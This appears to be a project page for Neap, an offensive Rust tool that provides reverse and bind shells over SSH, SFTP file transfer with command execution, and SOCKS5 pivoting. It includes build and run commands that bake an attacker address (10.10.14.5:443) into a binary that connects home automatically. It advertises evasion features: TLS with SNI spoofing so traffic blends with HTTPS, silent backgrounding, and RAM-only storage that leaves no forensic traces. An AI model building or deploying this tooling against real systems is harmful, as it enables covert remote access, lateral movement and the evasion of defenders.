Reverse shells, bind shells, SFTP file transfer, and full SSH port forwarding. TLS wrapping with SNI spoofing. Build-time configuration. Rust rewrite of Undertow.
$ ./build.sh reverse 10.10.14.5:443 --tls --password "s3cret" building reverse mode (10.10.14.5:443, TLS) target/release/neap (1.2 MB, static) # On target: $ ./neap SSH session established (PTY allocated) # SFTP transfer: $ sftp -P 443 user@target Connected to target.
Reverse and bind shells with full PTY. SFTP transfers. Local, remote, and SOCKS5 forwarding. TLS wrapping.
Dial home to attacker with full PTY support. Linux openpty and Windows ConPTY. All parameters baked at build time — no flags needed on target.
Listen for incoming SSH connections on any port. Full PTY, SFTP subsystem, and port forwarding available to connecting clients.
Full SFTP subsystem over the SSH channel. Upload and download files through any standard SFTP client.
Port forwarding, multi-hop chain relay, and proxychains-compatible SOCKS5 proxy server.
Wrap SSH traffic in TLS with configurable SNI spoofing. Traffic blends with normal HTTPS. Build-time flag — no runtime configuration needed on target.
All connection parameters embedded at compile time. Target binary auto-connects with zero flags. Password, TLS, port — all baked in.
Execute commands through any standard SFTP client. Access paths under /exec/ and Neap runs the command, returning output as file content. Works with OpenSSH, WinSCP, FileZilla, scp, curl — no custom tooling.
Automatically backgrounds on launch. Unix double-fork with full terminal detach. Windows detached respawn. Zero visible process window. Silent by default.
RAM-only file storage with --memfs. Files never touch disk. Zero forensic artifacts. All data lost on exit — by design.
Full SSH operations on Linux and Windows. Single static binary with zero runtime dependencies.
Bind or reverse mode sharing the same SSH session layer. Pluggable subsystems for shell, SFTP, and forwarding.
Entry point selects bind or reverse based on build-time config. build.sh embeds connection parameters. Runtime flags for verbose and port override.
Rust SSH implementation with channel multiplexing. Subsystem dispatch to shell (PTY), SFTP, or forwarding based on client request.
PTY via openpty (Linux) or ConPTY (Windows). Full SFTP subsystem for file operations. Job control and signal passthrough.
Optional TLS wrapping with SNI spoofing via rustls. Local, remote, and dynamic SOCKS5 port forwarding through the SSH tunnel.
Build a configured binary with one command. All parameters baked in at compile time.
$ git clone https://github.com/Real-Fruit-Snacks/Neap.git $ cd Neap $ ./build.sh reverse 10.10.14.5:443 --tls target/release/neap (1.2 MB, static)
# Bind mode $ neap -l -p 4444 # Reverse (auto-connects with baked config) $ ./neap # SFTP $ sftp -P 4444 user@target # In-memory SFTP (no disk artifacts) $ neap --memfs -l -p 4444 # SOCKS5 pivot $ ssh -D 1080 -p 4444 user@target